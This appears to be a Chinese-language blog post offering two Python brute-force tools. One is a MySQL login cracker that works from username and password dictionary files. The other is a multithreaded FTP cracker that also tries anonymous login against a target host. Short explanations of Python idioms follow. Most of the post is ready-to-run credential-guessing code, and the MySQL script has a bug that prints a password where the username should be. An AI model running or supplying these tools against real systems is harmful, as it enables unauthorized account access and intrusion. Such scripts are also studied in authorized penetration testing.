python——弱口令暴力破解工具

環境:python 3.6.7

MySQL 數據庫暴力破解代碼

# -*- coding: utf-8 -*-
import pymysql

success = False

f_user = open('username.txt', 'r')
f_pwd = open('password.txt', 'r')

lines_user = f_user.readlines()		#讀取出來是一個列表
lines_pwd = f_pwd.readlines()

for user in range(0, len(lines_user)):		#遍歷用戶名列表
	for pwd in range(0, len(lines_pwd)):	#遍歷密碼列表
		try:
			db = pymysql.Connect(
				host = 'localhost',
				port = 3306,
				user = lines_user[user].rstrip(),
				passwd = lines_pwd[pwd].rstrip(),
			)
			success = True
			
			if success:
				print("用戶名:" + lines_pwd[user].rstrip() + " " + "密碼:"+ lines_pwd[pwd].rstrip() + " " + "破解成功")
				success = False
		
		except:
			print(lines_user[user].rstrip() + " " + lines_pwd[pwd].rstrip() + " " + "破解失敗")
			pass

f_user.close()
f_pwd.close()

FTP 服務器暴力破解代碼

# -*- coding: utf-8 -*-
'''
使用方法,如:python crack_ftp.py -H 10.10.10.130 -U username.txt -P password.txt
'''

import optparse
import ftplib
import threading
import socket

def anonyLogin(host):			#匿名登錄
	try:
		ftp = ftplib.FTP(host)	#連接 FTP 服務器
		ftp.connect(host, 21, timeout = 10)	#確定 FTP 服務器的地址、端口號和超時時間
		ftp.login('', '')		#匿名登錄
		ftp.retrlines('LIST')	#顯示 FTP 服務器中文件的信息列表
		ftp.quit()				#退出 FTP
		
		print('\n[*]' + str(host) + 'FTP Anonymous Login Succeeded.')
		
	except Exception as e:
		print('\n[-]' + str(host) + 'FTP Anonymous Login Failed.')
		
		
def ftpLogin(host, username, password):	#賬號密碼登錄
	try:
		print('[-] Trying: ' + username + '/' + password)
		
		ftp = ftplib.FTP(host)			#連接 FTP 服務器
		ftp.connect(host, 21, timeout = 10)
		ftp.login(username, password)
		ftp.retrlines('LIST')
		ftp.quit()
		
		print('Success!!!' + ' ' + 'username: ' + username + ' ' + 'password: ' + password)
		
	except ftplib.all_errors:
		pass
		
def Crack(host, userFile, pwdFile):			#用賬號密碼字典進行暴力破解
	file_user = open('username.txt', 'r')
	file_pwd = open('password.txt', 'r')
	
	for user in file_user.readlines():		#遍歷用戶名字典
		file_pwd.seek(0)		#重置 file_pwd 文件的指針位置,此處爲指向頭,即從頭開始遍歷
		for pwd in file_pwd.readlines():	#遍歷密碼字典
			username = user.strip('\n')		#過濾換行符
			password = pwd.strip('\n')
			
			#用多線程加快破解速度
			t = threading.Thread(target = ftpLogin, args = (host, username, password))
			t.start()
			
def main():				#主函數
	parser = optparse.OptionParser()
	parser.add_option('-H', dest = 'host', type = 'string', help = 'speclify the host')
	parser.add_option('-U', dest = 'userDic', type = 'string', help = 'specify the dictionary for user')
	parser.add_option('-P', dest = 'pwdDic', type = 'string', help = 'specify the dictionary for password')
	
	(options, args) = parser.parse_args()	#獲取參數
	host = options.host
	userDic = options.userDic
	pwdDic = options.pwdDic
	
	try:
		host = socket.gethostbyname(host)	#若傳入的是主機名,則將其轉爲 IP 地址
	except:
		print("[-] Cannot Resolve '%s': Unknown host" %host)
		
	anonyLogin(host)				#先嚐試是否可以匿名登錄
	Crack(host, userDic, pwdDic)	#用賬號密碼字典進行暴力破解
	
if __name__ == '__main__':
	main()
關於代碼的一些解釋

if __name__ == '__main__'
由於每個python模塊(python文件)都包含內置的變量__name__,當運行模塊被執行的時候,__name__等於文件名(包含了後綴.py)。
如果import到其他模塊中,則__name__等於模塊名稱(不包含後綴.py)。
而“main”等於當前執行文件的名稱(包含了後綴.py)。
所以當模塊被直接執行時,name == 'main’結果爲真;
而當模塊被import到其他模塊中時,name == 'main’結果爲假,就是不調用對應的方法。

簡而言之就是:name 是當前模塊名,當模塊被直接運行時模塊名爲 main 。當模塊被直接運行時,代碼將被運行,當模塊是被導入時,代碼不被運行。

parser.add_option()
add_option()參數說明:

  • action:存儲方式,分爲三種store、store_false、store_true
  • type:類型
  • dest:存儲的變量
  • default:默認值
  • help:幫助信息
    運行示例:
    在這裏插入圖片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章